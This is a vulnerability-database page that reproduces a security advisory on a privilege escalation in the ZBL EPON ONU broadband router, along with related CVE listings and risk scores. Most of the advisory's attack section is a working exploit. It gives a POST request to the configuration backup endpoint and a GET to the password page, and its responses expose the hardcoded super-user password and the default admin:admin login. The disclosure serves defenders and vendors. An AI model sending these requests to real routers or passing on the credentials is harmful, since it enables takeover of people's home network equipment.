ZBL EPON ONU Broadband Router 1.0 Remote Privilege Escalation Exploit

🗓️ 01 Apr 2021 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 123 Views

ZBL EPON ONU Router 1.0 Privilege Escalation Exploit in Firmware V100R00

Reporter	Title	Published	Views	Family All 8
Circl	CVE-2021-47741	31 Dec 202521:46	–	circl
CNNVD	ZBL EPON ONU Broadband Router V100R001 安全漏洞	31 Dec 202500:00	–	cnnvd
CVE	CVE-2021-47741	31 Dec 202518:39	–	cve
Cvelist	CVE-2021-47741 ZBL EPON ONU Broadband Router V100R001 Privilege Escalation via Configuration Endpoint	31 Dec 202518:39	–	cvelist
EUVD	EUVD-2025-206085	31 Dec 202521:30	–	euvd
NVD	CVE-2021-47741	31 Dec 202519:15	–	nvd
Positive Technologies	PT-2025-54422	31 Dec 202500:00	–	ptsecurity
Vulnrichment	CVE-2021-47741 ZBL EPON ONU Broadband Router V100R001 Privilege Escalation via Configuration Endpoint	31 Dec 202518:39	–	vulnrichment

<html><body><p>ZBL EPON ONU Broadband Router 1.0 Remote Privilege Escalation Exploit


Vendor: Zhejiang BC&amp;TV Technology Co., Ltd. (ZBL) | W&amp;D Corporation (WAD TECHNOLOGY (THAILAND))
Product web page: http://www.zblchina.com | http://www.wd-thailand.com
Affected version: Firmwre: V100R001
                  Software model: HG104B-ZG-E / EONU-7114 / ZBL5932C CATV+PON Triple CPE
                  EONU Hardware Version	V3.0
                  Software: V2.46.02P6T5S
                  Main Chip: RTL9607
                  Master Controller, Copyright (c) R&amp;D

Summary: EONU-x GEPON ONU layer-3 home gateway/CPE broadband
router.

Desc: The application suffers from a privilege escalation
vulnerability. The limited administrative user (admin:admin)
can elevate his/her privileges by sending a HTTP GET request
to the configuration backup endpoint or the password page
and disclose the http super user password. Once authenticated
as super, an attacker will be granted access to additional and
privileged functionalities.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5467
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5647.php


31.01.2021

--


Get config file and disclose super pwd:
---------------------------------------

POST /HG104B-ZG-E.config HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 42
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.1.1/system_configure.asp
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6

CMD=CONFIG&amp;GO=index.asp&amp;TYPE=CONFIG&amp;files=


...
  #web_1
    user_web_name=super
    user_web_password=www168nettv
...


Disclose super pwd from system pwd page:
----------------------------------------

GET /system_password.asp
Host: 192.168.1.1

...
var webVars = new Array( 'HG104B-ZG-E', '1', '0','2;1;2');
var sysadmin = new Array('600','1;super;www168nettv','1;admin;admin');
...
</p></body></html>

01 Apr 2021 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 3.17.5

CVSS 48.7

EPSS0.0004

SSVC